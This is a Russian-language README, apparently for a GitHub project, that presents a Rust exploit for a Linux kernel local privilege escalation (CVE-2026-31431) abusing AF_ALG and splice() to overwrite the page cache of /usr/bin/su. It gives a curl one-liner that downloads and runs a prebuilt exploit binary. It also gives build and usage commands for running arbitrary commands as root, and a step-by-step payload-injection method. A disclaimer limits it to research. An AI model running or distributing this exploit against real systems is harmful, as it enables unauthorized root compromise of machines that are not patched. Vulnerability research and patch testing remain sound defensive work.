copyfail-rs

Copy Fail эксплойт (CVE-2026-31431), но на Rust — критическая уязвимость, объединяющая AF_ALG и splice() для выполнения 4-байтовой записи в page cache, что приводит к локальному повышению привилегий на основных дистрибутивах Linux.

Основано на исследовании и PoC от Xint Code.

Отказ от ответственности

[!CAUTION] Этот проект предназначен только для образовательных и исследовательских целей. Запуск этого эксплойта на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным. Используйте этот код ответственно, чтобы понимать и защищаться от подобных уязвимостей.

Возможности

• Чистый Rust: Высокопроизводительная, безопасная с точки зрения памяти реализация оригинального Python PoC.
• Динамический построитель ELF: Программно конструирует полезную нагрузку эксплойта во время выполнения, позволяя задавать произвольные команды.
• Эксплуатация с нулевым копированием: Напрямую взаимодействует с системными вызовами AF_ALG и splice() ядра Linux через libc.
• Настраиваемость: Укажите команду, которую хотите выполнить с правами root, через аргументы командной строки.

Быстрый старт (одной строкой)

Вы можете скачать и запустить предварительно скомпилированный бинарный файл PoC напрямую:

curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs

Предварительные требования

• Ядро Linux, уязвимое к CVE-2026-31431 (обычно ядра до патча апреля 2026 года).
• Доступ к целевому бинарному файлу с правами на чтение (по умолчанию /usr/bin/su).

Установка

Клонируйте репозиторий и соберите бинарный файл:

git clone https://github.com/sammwyy/copyfail-rs.git
cd copyfail-rs
cargo build --release

Использование

Запустите эксплойт без аргументов, чтобы по умолчанию использовать /bin/sh:

./target/release/copyfail-rs

Или укажите произвольную команду для выполнения с правами root:

./target/release/copyfail-rs "whoami > /tmp/pwned"

Как это работает

Эксплойт использует ошибку в реализации authencesn в Crypto API ядра Linux (AF_ALG). Объединяя sendmsg с MSG_MORE и splice(), можно перезаписывать небольшие фрагменты page cache для произвольных файлов (например, /usr/bin/su) вредоносной ELF-полезной нагрузкой.

1. Настройка сокета: Создаёт сокет AF_ALG и привязывается к authencesn(hmac(sha256),cbc(aes)).
2. Генерация полезной нагрузки: Конструирует минимальный ELF в памяти, который выполняет целевую команду с правами root.
3. Инъекция в кэш: Итеративно вставляет полезную нагрузку в page cache целевого файла, используя уязвимость AF_ALG.
4. Запуск: Выполняет изменённый целевой файл, запуская внедрённый шелл-код.

Ссылки

• Оригинальная статья в блоге — Xint Code
• Подробности CVE-2026-31431